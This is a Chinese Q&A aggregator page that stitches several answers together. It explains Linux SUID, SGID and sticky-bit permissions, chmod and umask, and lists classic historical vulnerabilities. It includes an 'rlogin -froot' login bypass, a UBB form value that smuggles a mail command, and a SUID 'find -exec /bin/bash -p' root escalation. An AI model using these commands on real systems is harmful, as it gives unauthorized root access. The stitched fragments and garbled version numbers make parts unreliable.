Linux中如何让用户用程序拥有者的权限执行程序

Linux中如何让用户用程序拥有者的权限执行程序,第1张

设置SUID位

chmod u+s exefile

SUID含义:文件的该位被设置为1,在该文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来 执行这个文件,他都有文件所有者的特权,如果所有者是root的话,那么执行人就有超级用户

A.按漏洞可能对系统造成的直接威胁

可以大致分成以下几类,事实上一个系统漏洞对安全造成的威胁远不限于它的直接可能性,如果攻击者获得了对系统的一般用户访问权限,他就极有可能再通过利用本地漏洞把自己升级为管理员权限:

一.远程管理员权限

攻击者无须一个账号登录到本地直接获得远程系统的管理员权限,通常通过攻击以root身份执行的有缺陷的系统守护进程来完成。漏洞的绝大部分来源于缓冲区溢出,少部分来自守护进程本身的逻辑缺陷。

典型漏洞:

1、IMAP4rev1 v10190版的守护进程imapd的AUTHENTICATE命令存在读入参数时未做长度检查,构造一个精心设计的AUTH命令串,可以溢出imapd的缓冲区,执行指定的命令,由于imapd以root身份运行,从而直接获得机器的root权限。

2、WindowsNT IIS 40的ISAPI DLL对输入的URL未做适当的边界检查,如果构造一个超长的URL,可以溢出IIS (inetinfoexe)的缓冲区,执行我们指定的代码。由于inetinfoexe是以local system身份启动,溢出后可以直接得到管理员权限。

3、早期AIX 32 rlogind代码存在认证逻辑缺陷,用rlogin victimcom Cl Cfroot,可以直接以root身份登录到系统而无须提供口令。

二.本地管理员权限

攻击者在已有一个本地账号能够登录到系统的情况下,通过攻击本地某些有缺陷的suid程序,竞争条件等手段,得到系统的管理员权限。

典型漏洞:

1、RedHat Linux的restore是个suid程序,它的执行依靠一个中RSH的环境变量,通过设置环境变量PATH,可以使RSH变量中的可执行程序以root身份运行,从而获得系统的root权限。

2、Solaris 7的Xsun程序有suid位,它对输入参数未做有效的边界检查,可以很容易地溢出它的缓冲区,以root身份运行我们指定的代码,从而获得管理员权限。

3、在windows2000下,攻击者就有机会让网络DDE(一种在不同的Windows机器上的应用程序之间动态共享数据的技术)代理在本地系统用户的安全上下文中执行其指定的代码,从而提升权限并完全控制本地机器。

三.普通用户访问权限

攻击者利用服务器的漏洞,取得系统的普通用户存取权限,对UNIX类系统通常是shell访问权限,对Windows系统通常是cmdexe的访问权限,能够以一般用户的身份执行程序,存取文件。攻击者通常攻击以非root身份运行的守护进程,有缺陷的cgi程序等手段获得这种访问权限。

典型漏洞:

1、UBB是个广泛运行于各种UNIX和Windows系统的论坛程序,用PERL实现,它的519以下版本存在输入验证问题,通过提交精心构造的表单内容,可以使UBB去执行shell命令,因为一般的web服务器以nobody身份运行,因此可以得到一个nobody shell。比如提交这样的数据:topic='012345ubb mail hacker@evilcom

2、RedHat Linux 62带的innd 2223版新闻服务器,存在缓冲区溢出漏洞,通过一个精心构造的新闻信件可以使innd服务器以news身份运行我们指定的代码,得到一个innd权限的shell。

3、Windows IIS 40-50存在Unicode解码漏洞,可以使攻击者利用cmdexe以guest组的权限在系统上运行程序。相当于取得了普通用户的权限。

四.权限提升

攻击者在本地通过攻击某些有缺陷的sgid程序,把自己的权限提升到某个非root用户的水平。获得管理员权限可以看做是一种特殊的权限提升,只是因为威胁的大小不同而把它独立出来。

典型漏洞:

1、RedHat Linux 61带的man程序为sgid man,它存在format bug,通过对它的溢出攻击,可以使攻击者得到man组的用户权限。

2、Solaris 7的write程序为sgid tty,它存在缓冲区溢出问题,通过对它的攻击可以攻击者得到tty组的用户权限。

3、WindowsNT系统中,攻击者能够使系统中其他用户装入一个”特洛化”的porfile,使其他用户执行攻击者的恶意代码,有时甚至是管理员。

Set

UID

会创建s与t权限,是为了让一般用户在执行某些程序的时候,能够暂时具有该程序拥有者的权限。举例来说,我们知道,账号与密码的存放文件其实是

/etc/passwd与 /etc/shadow而 /etc/shadow文件的权限是“-r- - - - - - - -

”。它的拥有者是root在这个权限中,仅有root可以“强制”存储,其他人是连看都不行的。

但是,偏偏笔者使用dmtsai这个一般身份用户去更新自己的密码时,使用的就是

/usr/bin/passwd程序,却可以更新自己的密码。也就是说,dmtsai这个一般身份用户可以存取 /etc/shadow密码文件。这怎么可能?明明

/etc/shadow就是没有dmtsai可存取的权限。这就是因为有s权限的帮助。当s权限在user的x时,也就是类似 -r - s - - x - - x,称为Set

UID,简称为SUID,这个UID表示User的ID,而User表示这个程序(/usr/bin/passwd)的拥有者(root)。那么,我们就可以知道,当dmtsai用户执行

/usr/bin/passwd时,它就会“暂时”得到文件拥有者root的权限。

SUID仅可用在“二进制文件(binary

file)”,SUID因为是程序在执行过程中拥有文件拥有者的权限,因此,它仅可用于二进制文件,不能用在批处理文件(shell脚本)上。这是因为

shell脚本只是将很多二进制执行文件调进来执行而已。所以SUID的权限部分,还是要看shell脚本调用进来的程序设置,而不是shell脚本本身。当然,SUID对目录是无效的。这点要特别注意。

 Set

GID

进一步而言,如果s的权限是在用户组,那么就是Set

GID,简称为SGIDSGID可以用在两个方面。

文件:如果SGID设置在二进制文件上,则不论用户是谁,在执行该程序的时候,它的有效用户组(effective

group)将会变成该程序的用户组所有者(group

id)。

目录:如果SGID是设置在A目录上,则在该A目录内所建立的文件或目录的用户组,将会是此A目录的用户组。

一般来说,SGID多用在特定的多人团队的项目开发上,在系统中用得较少。

 Sticky

Bit

这个Sticky Bit当前只针对目录有效,对文件没有效果。SBit对目录的作用是:“在具有SBit的目录下,用户若在该目录下具有w及x权限,则当用户在该目录下建立文件或目录时,只有文件拥有者与root才有权力删除”。换句话说:当甲用户在A目录下拥有group或other的项目,且拥有w权限,这表示甲用户对该目录内任何人建立的目录或文件均可进行“删除/重命名/移动”等 *** 作。不过,如果将A目录加上了Sticky

bit的权限,则甲只能够针对自己建立的文件或目录进行删除/重命名/移动等 *** 作。

举例来说,/tmp本身的权限是“drwxrwxrwt”,在这样的权限内容下,任何人都可以在

/tmp内新增、修改文件,但仅有该文件/目录的建立者与root能够删除自己的目录或文件。这个特性也很重要。可以这样做个简单测试:

1 以root登入系统,并且进入 /tmp中。

2 touch

test,并且更改test权限成为777

3 以一般用户登入,并进入 /tmp

4

尝试删除test文件。

SUID/SGID/SBIT权限设置

前面介绍过SUID与SGID的功能,那么,如何打开文件使其成为具有SUID与SGID的权限呢?这就需要使用数字更改权限了。现在应该知道,使用数字更改权限的方式为“3个数字”的组合,那么,如果在这3个数字之前再加上一个数字,最前面的数字就表示这几个属性了(注:通常我们使用chmod

xyz filename的方式来设置filename的属性时,则是假设没有SUID、SGID及Sticky

bit)。

4为SUID

2为SGID

1为Sticky

bit

假设要将一个文件属性改为“-rwsr-xr-x”,由于s在用户权限中,所以是SUID,因此,在原先的755之前还要加上4,也就是使用

“chmod 4755

filename”来设置。此外,还有大S与大T的产生。参考下面的范例(注意:下面的范例只是练习而已,所以笔者使用同一个文件来设置,必须知道,SUID不是用在目录上,SBIT不是用在文件上)。

[root@linux ~]# cd /tmp

[root@linux tmp]# touch test

[root@linux tmp]# chmod 4755 test; ls -l test

-rwsr-xr-x 1 root root 0 Jul 20 11:27 test

[root@linux tmp]# chmod 6755 test; ls -l test

-rwsr-sr-x 1 root root 0 Jul 20 11:27 test

[root@linux tmp]# chmod 1755 test; ls -l test

-rwxr-xr-t 1 root root 0 Jul 20 11:27 test

[root@linux tmp]# chmod 7666 test; ls -l test

-rwSrwSrwT 1 root root 0 Jul 20 11:27 test

# 这个例子要特别小心。怎么会出现大写的S与T呢?不都是小写的吗?

#

因为s与t都是取代x参数的,但是,我们是使用

#

7666也就是说,user、group以及others都没有x这个可执行的标志

# (因为666)。所以,S、T表示“空的”。

#

SUID是表示“该文件在执行时,具有文件拥有者的权限”,但文件

# 拥有者都无法执行了,哪里来的权限给其他人使用呢?当然就是空的

1、在11月内,每天早上6点到12点,每隔2小时执行一次/usr/bin/>

SUID可以使执行此文件的人在执行它时具有属主的权限。主要是用于二进制执行文件,对于文本文件、非执行文件及脚本等无效。

SGID类似SUID,不过是换成文件属组的权限。主要用于目录,对于设置了SGID的目录,有写权限的用户在此目录下创建的文件,其属组为目录的属组。

SUID、SGID都是针对二进制执行文件的,SGUI对目录权限管理有用。如果不需要这些权限控制,文件或目录设置这些权限没有什么用处,去除了也无所谓。

执行该程序时,用户的权限是该程序文件属主的权限。例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。

你可以看一下passwd这个命令程序的权限设置,它就是设置了suid权限的。

设置方法为:

chmod u+s filename (suid)

chmod g+s filename (sgid)

另外,站长团上有产品团购,便宜有保证

最近想着学习linux提权的一些姿势,这里简单分享学习SUID提权的一些知识点。

先来父复习一下linux文件的权限分配。

ls命令用来查看系统上面的文件、目录的权限。

字段的第一个字符表示对象的类型。

之后是每三个字符为一组,每一组定义了3种访问权限。

这三组分别表示文件所有者(Owner)、用户组(Group)、其它用户(Other Users)。

然后规定用数字4、2和1表示读、写、执行权限。即r=4,w=2,x=1。

所以

chmod改变权限

chown用来更改某个目录或文件的用户名和用户组

该命令需要root权限运行

而文件权限除了r、w、x外还有s、t、i、a权限。

SUID

当执行的文件被赋予了s权限,就被称为Set UID,简称为SUID的特殊权限。八进制数为4000。

举个例子:

linux修改密码的passwd就是个设置了SUID的程序。因为如果普通账号cseroad需要修改密码,就要访问/etc/shadow,但是该文件只有root能访问。那他是怎么修改的呢?原理:

查看该程序,发现被赋予了s权限。当cseroad需要修改自己的密码时,passwd程序的所有者为root,cseroad用户执行passwd 程序的过程中会暂时获得root权限,所以可以修改/etc/shadow文件。

SGID

而当s标志出现在用户组的x权限时则称为SGID。八进制数为2000。

当用户对某一目录有写和执行权限时,该用户就可以在该目录下建立文件,如果该目录用SGID修饰,则该用户在这个目录下建立的文件都是属于这个目录所属的组。(父目录跟随)

SBIT

就是Sticky Bit,出现在目录的其他用户执行权限X上,标记为T,八进制数为1000。对目录有效,使用者只能对自己创建的文件或目录进行删除/更名/移动等动作,而无法删除他人文件(除非ROOT)

赋予s权限:chmod 4755 filename 或者 chmod u+s /usr/bin/find

取消s权限:chmod 755 filename 或者 chmod u-s /usr/bin/find

以centos为例。

还有额外的几个命令

我们就可以通过覆盖/etc/passwd文件,提权为root

默认该命令没有s权限

find命令

假如find命令被赋予s权限。

创建atxt文件,执行 /usr/bin/find atxt -exec /bin/bash -p \; ,成功提权。

这里注意的是新版Linux系统对子进程的suid权限进行了限制,不同的 *** 作系统结果也会不一样。

具体细节参考 >

权限就是对文件或目录“加锁”,有不同权限的人才能进去不同的入口……

其中rw-r--r--就是这个文件的权限了,而后边的root root代表文件的属主和数组。

我们先来看一下权限用什么代表:

所属:

rw-r--r--9个位,分为三段,每段三个位,依次为r,w,x权限,三段分别为属主,属组,其他人三种类别的权限。

属主具有读写权限,属组有读权限,其他人有读权限,如果显示为-,则代表该类人没有此权限。那么root用户对此文件有读和写的权限,但是没有执行权限,什么是执行权限呢,比如说我们的Windows中的exe文件,能双击执行的就为可执行的,那么linux中,x则代表可执行,一般为脚本文件,或者是二进制文件(比如说ls命令)。

root组的用户对这个文件有只读权限,也就是不能更改和执行了,。对于不是root用户,和不属于root组的用户,则也是只有只读权限。

那么如何才能有自己想有的权限呢,就要所属用户或者root用户来设置了。

权限设置有两种方法:

121模式法

对象+-=权限

对象:ugoa——a相当于ugo三种类别的人

权限:rwx

还可以复制其他文件的权限

122数字法

数字也可以代表权限,r使用4表示,w使用2表示,x使用1表示,1、2、4看着有规律啊,不错,的确rwx使用二进制表示的话,有权限使用1表示,没有使用0,那么如下图:

具体只要在相应位上有权限,则二进制为1,则三个位组合起来,再从二进制转化为十进制则数字可计算出来权限。

umask值用来消除创建文件时的相应位上的权限(从二进制方面理解);

新建文件: 666 - umask值就是新建文件的默认权限,因为新建文件默认没有执行权限的(没有1权限,所以只要有奇数权限则代表有执行权限),所以得到的权限必定是偶数,如果umask为奇数,则用666减去将得到奇数权限,如果所得结果某位存在奇数权限,则将其权限+1(因为从二进制方面理解,如果相应位没有权限,则多减了1,故要加上1来弥补这个权限);

新建目录: 777 - umask值就是新建目录的默认权限;

管理员的umask 是 022

普通用户的umask是 002

X的作用(x权限特殊形式)

针对目录增加x权限

对文件

1 无执行的文件,不会增加x权限

2 任意三种人有执行权限,也会增加x权限

目录

文件:

对目录的权限意义:

只有读:只能查看目录文件列表,不能访问文件,也不能cd目录(查看,删除)

只有执行:可以cd进去,不能ls,可以访问目录中的文件。执行是基础权限

写权取:配合x权限才生效

SUID权限代表不管是谁执行此程序,将继承此程序所有者的权限

比如修改密码命令passwd,因此每个用户都可以用此命令修改自己的密码,由于其继承的是属主root用户的权限。

创建一个文件,赋予s权限

SGID作用于目录或可执行程序,作用于目录代表在此目录创建的文件或目录,默认的属组继承此目录的属组

粘贴位权限,只能作用于目录上,只有自己才能删除自己创建的文件使用t来表示,同样需要执行权限x,否则表现为T

有这样的需求,如果多人合作,希望整个团队的人都能更改这个目录的文件,但是这个目录的文件 不能被其他人删除,比如说系统的/tmp目录,这个目录每个用户都可以在里面创建文件,但是不能删除其他用户创建的文件,除了root

特殊权限:

SUID:4

SGID:2

Sticky:1

SUID只能作用于二进制可执行程序,不能作用于目录,因为其对应的是程序,程序需要能执行

为什么对于一个文件有读写执行权限,依然不能删除呢,因为删除文件要看其父目录是否有权限。删除的是目录项中的文件名(详细请看我的inode博客)

因为文件权限管理职能对三类人有效,在生产中远远不能满足要求,ACL则应运而生

举例:

以上就是关于Linux中如何让用户用程序拥有者的权限执行程序全部的内容,包括:Linux中如何让用户用程序拥有者的权限执行程序、常见的网络漏洞有哪些、Linux中chmod中的 permission(r,w,x,s,t) 里的s和t代表什么意思呢等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/10216625.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-06
下一篇 2023-05-06

发表评论

登录后才能评论

评论列表(0条)

保存